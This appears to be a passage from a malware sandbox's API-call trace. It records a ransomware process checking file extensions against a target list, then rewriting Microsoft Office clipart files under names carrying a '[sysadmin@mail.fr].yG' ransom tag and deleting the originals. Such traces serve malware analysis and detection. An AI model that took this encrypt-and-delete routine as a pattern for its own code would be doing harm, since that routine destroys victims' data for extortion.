	[0156.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0156.986] lstrlenW (lpString=".doc") returned 4
	[0156.986] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.986] lstrlenW (lpString=".docx") returned 5
	[0156.986] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.986] lstrlenW (lpString=".pdf") returned 4
	[0156.986] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.987] lstrlenW (lpString=".xls") returned 4
	[0156.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.987] lstrlenW (lpString=".xlsx") returned 5
	[0156.987] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.987] lstrlenW (lpString=".ppt") returned 4
	[0156.987] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0156.987] lstrlenW (lpString=".zip") returned 4
	[0156.987] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.987] lstrlenW (lpString=".rar") returned 4
	[0156.987] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.987] lstrlenW (lpString=".bz2") returned 4
	[0156.987] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.987] lstrlenW (lpString=".7z") returned 3
	[0156.987] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0156.987] lstrlenW (lpString=".dbf") returned 4
	[0156.987] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0156.987] lstrlenW (lpString=".1cd") returned 4
	[0156.987] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0156.988] lstrlenW (lpString=".jpg") returned 4
	[0156.988] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.988] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=20179) returned 1
	[0156.989] CloseHandle (hObject=0x350) returned 1
	[0156.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0156.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.990] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.990] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0156.991] GetLastError () returned 0x0
	[0156.991] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0157.361] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0157.363] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.363] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.363] SetEndOfFile (hFile=0x54c) returned 1
	[0157.363] CloseHandle (hObject=0x54c) returned 1
	[0157.363] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.363] SetEndOfFile (hFile=0x350) returned 1
	[0157.372] CloseHandle (hObject=0x350) returned 1
	[0157.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0157.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.380] lstrlenW (lpString=".doc") returned 4
	[0157.380] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.380] lstrlenW (lpString=".docx") returned 5
	[0157.380] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0157.380] lstrlenW (lpString=".pdf") returned 4
	[0157.381] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.381] lstrlenW (lpString=".xls") returned 4
	[0157.381] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.381] lstrlenW (lpString=".xlsx") returned 5
	[0157.381] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0157.381] lstrlenW (lpString=".ppt") returned 4
	[0157.381] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.381] lstrlenW (lpString=".zip") returned 4
	[0157.381] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.381] lstrlenW (lpString=".rar") returned 4
	[0157.381] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.381] lstrlenW (lpString=".bz2") returned 4
	[0157.381] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.381] lstrlenW (lpString=".7z") returned 3
	[0157.381] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.381] lstrlenW (lpString=".dbf") returned 4
	[0157.382] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.382] lstrlenW (lpString=".1cd") returned 4
	[0157.382] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0157.382] lstrlenW (lpString=".jpg") returned 4
	[0157.382] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.383] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=37140) returned 1
	[0157.383] CloseHandle (hObject=0x350) returned 1
	[0157.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220
	[0157.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.384] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.384] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.388] GetLastError () returned 0x0
	[0157.389] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x9114, lpOverlapped=0x0) returned 1
	[0157.430] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x9120, lpOverlapped=0x0) returned 1
	[0157.433] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.433] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.433] SetEndOfFile (hFile=0x540) returned 1
	[0157.433] CloseHandle (hObject=0x540) returned 1
	[0157.433] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.434] SetEndOfFile (hFile=0x350) returned 1
	[0157.438] CloseHandle (hObject=0x350) returned 1
	[0157.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0157.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.440] lstrlenW (lpString=".doc") returned 4
	[0157.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.441] lstrlenW (lpString=".docx") returned 5
	[0157.441] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.441] lstrlenW (lpString=".pdf") returned 4
	[0157.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.441] lstrlenW (lpString=".xls") returned 4
	[0157.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.441] lstrlenW (lpString=".xlsx") returned 5
	[0157.441] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.441] lstrlenW (lpString=".ppt") returned 4
	[0157.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.441] lstrlenW (lpString=".zip") returned 4
	[0157.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.442] lstrlenW (lpString=".rar") returned 4
	[0157.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.442] lstrlenW (lpString=".bz2") returned 4
	[0157.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.442] lstrlenW (lpString=".7z") returned 3
	[0157.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.442] lstrlenW (lpString=".dbf") returned 4
	[0157.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.442] lstrlenW (lpString=".1cd") returned 4
	[0157.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0157.443] lstrlenW (lpString=".jpg") returned 4
	[0157.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.445] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=9744) returned 1
	[0157.445] CloseHandle (hObject=0x350) returned 1
	[0157.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220
	[0157.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.446] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.446] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.447] GetLastError () returned 0x0
	[0157.447] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2610, lpOverlapped=0x0) returned 1
	[0157.450] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2620, lpOverlapped=0x0) returned 1
	[0157.451] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.451] WriteFile (in: hFile=0x540, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.452] SetEndOfFile (hFile=0x540) returned 1
	[0157.452] CloseHandle (hObject=0x540) returned 1
	[0157.452] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.452] SetEndOfFile (hFile=0x350) returned 1
	[0157.456] CloseHandle (hObject=0x350) returned 1
	[0157.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0157.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.458] lstrlenW (lpString=".doc") returned 4
	[0157.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.458] lstrlenW (lpString=".docx") returned 5
	[0157.458] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0157.458] lstrlenW (lpString=".pdf") returned 4
	[0157.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.458] lstrlenW (lpString=".xls") returned 4
	[0157.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.458] lstrlenW (lpString=".xlsx") returned 5
	[0157.458] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0157.458] lstrlenW (lpString=".ppt") returned 4
	[0157.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.459] lstrlenW (lpString=".zip") returned 4
	[0157.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.459] lstrlenW (lpString=".rar") returned 4
	[0157.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.459] lstrlenW (lpString=".bz2") returned 4
	[0157.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.459] lstrlenW (lpString=".7z") returned 3
	[0157.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.459] lstrlenW (lpString=".dbf") returned 4
	[0157.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.462] lstrlenW (lpString=".1cd") returned 4
	[0157.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.462] lstrlenW (lpString=".jpg") returned 4
	[0157.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0157.954] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5386) returned 1
	[0157.954] CloseHandle (hObject=0x538) returned 1
	[0157.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220
	[0158.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0158.670] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.670] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.698] GetLastError () returned 0x0
	[0158.698] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x150a, lpOverlapped=0x0) returned 1
	[0158.806] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1510, lpOverlapped=0x0) returned 1
	[0158.821] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.821] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.821] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.821] CloseHandle (hObject=0x4ac) returned 1
	[0158.821] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.822] SetEndOfFile (hFile=0x55c) returned 1
	[0158.825] CloseHandle (hObject=0x55c) returned 1
	[0158.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0158.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.828] lstrlenW (lpString=".doc") returned 4
	[0158.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.828] lstrlenW (lpString=".docx") returned 5
	[0158.828] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0158.828] lstrlenW (lpString=".pdf") returned 4
	[0158.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.828] lstrlenW (lpString=".xls") returned 4
	[0158.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.828] lstrlenW (lpString=".xlsx") returned 5
	[0158.828] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0158.828] lstrlenW (lpString=".ppt") returned 4
	[0158.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.828] lstrlenW (lpString=".zip") returned 4
	[0158.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
